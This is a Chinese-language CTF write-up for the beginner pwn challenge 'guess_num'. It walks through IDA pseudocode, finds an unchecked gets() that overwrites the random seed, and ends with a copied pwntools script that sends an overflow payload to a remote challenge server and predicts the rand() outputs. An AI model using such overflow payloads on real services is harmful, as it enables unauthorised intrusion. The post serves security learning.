接着做上一篇的pwn新手第一题guess_num,接下来要用到另一个工具IDA。
IDA(Interactive Disassembler):是一款静态反编译软件,这是官网的介绍:
The IDA Disassembler and Debugger is an interactive, programmable, extensible, multi-processor disassembler hosted on Windows, Linux, or Mac OS X. IDA has become the de-facto standard for the analysis of hostile code, vulnerability research and commercial-off-the-shelf validation.
用IDA生成伪代码
用IDA打开程序,首先咱们要查看main的伪代码,为啥要查看伪代码呢?因为咱看不懂汇编,只能通过伪代码看懂程序的逻辑,看懂了程序的逻辑才能找到解题的突破口~
网上很多地方写的是按F5来生成伪代码,具体步骤没有写对小白很不友好,自己摸索了下,步骤如下:
1. 双击左边函数窗口中的main,打开view窗口,view窗口生成的是main的天书,哦不,是汇编代码:
2. 鼠标放在view窗口的main那一行,按F5:
3. 成功生成main的伪代码:
main函数的完整伪代码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { FILE *v3; // rdi const char *v4; // rdi int v6; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] int v8; // [rsp+Ch] [rbp-34h] char v9; // [rsp+10h] [rbp-30h] unsigned int seed[2]; // [rsp+30h] [rbp-10h] unsigned __int64 v11; // [rsp+38h] [rbp-8h] v11 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); v3 = stderr; setbuf(stderr, 0LL); v6 = 0; v8 = 0; *(_QWORD *)seed = sub_BB0(v3, 0LL); puts("-------------------------------"); puts("Welcome to a guess number game!"); puts("-------------------------------"); puts("Please let me know your name!"); printf("Your name:"); gets(&v9); v4 = (const char *)seed[0]; srand(seed[0]); for ( i = 0; i <= 9; ++i ) { v8 = rand() % 6 + 1; printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1)); printf("Please input your guess number:"); __isoc99_scanf("%d", &v6); puts("---------------------------------"); if ( v6 != v8 ) { puts("GG!"); exit(1); } v4 = "Success!"; puts("Success!"); } sub_C3E(v4); return 0LL; }
这个程序的关键部分是:
1. 输入一个数字和程序生成的随机数不相等时,就退出并输出"GG"。这个程序我们是无法猜到正确数字的,因为不知道生成随机数的种子seed的值是多少。。。
2. 输入数字和随机数相等时,进入sub_C3E就能拿到flag,sub_C3E的伪代码如下:
__int64 sub_C3E() { printf("You are a prophet!\nHere is your flag!"); system("cat flag"); return 0LL; }
用IDA查看堆栈
srand(seed[0])前面的gets函数传入参数v8,类型是char,这里gets没有校验参数的长度。所以gets的输入参数就是突破点,write up给出的思路是用gets的参数覆盖seed,然后设置seed的值,这样生成随机数的种子就是已知的了。
注:gets() 函数的功能是从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。
那么,怎么用gets的参数覆盖seed的值呢?为什么gets的参数能覆盖seed的值呢?
main函数在开头定义了6个参数,gets的入参v8位置在第四个,seed定义在第5个,我们知道,在参数定义的时候,内存会为参数开辟存储空间,我们先找到v8和seed在内存中的存储位置,步骤如下:
1. 将main函数切换到文本视图,在view窗口右键选择“文本视图”即可:
2.找到v8和seed在栈中的位置
切到main的伪代码视图,双击定义v8的地方:
找到v8在栈中的位置:
同理,找到seed在栈中的位置
3. 计算字符覆盖数
seed和v8之前隔了0x20个位置,注意内存地址是用16进制表示的!
能看懂网上的wirte up并且复现到这一步,还是要归功于咱屡败屡战的经典栈溢出实验。汇编,内存地址,地址覆盖这些基础知识都是在这个实验中学到的,如果没有这个实验,我可能连现成的wirte up都看不懂(给你答案你却不知道怎么抄的感觉>_<)
最后编写脚本(网上copy来的,本人不会写,依然这么理直气壮哈哈哈):
from pwn import * from ctypes import * a = remote('220.249.52.133',51754) payload = 'a' * 0x20 + p32(1) print "payload" a.recvuntil("Your name:") a.sendline(payload) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') libc.srand(1) for i in range(10): a.sendlineafter("number:",str(libc.rand()%6+1)) print a.recvall()
运行脚本,拿到flag:
如需转载,请注明出处,这是对他人劳动成果的尊重~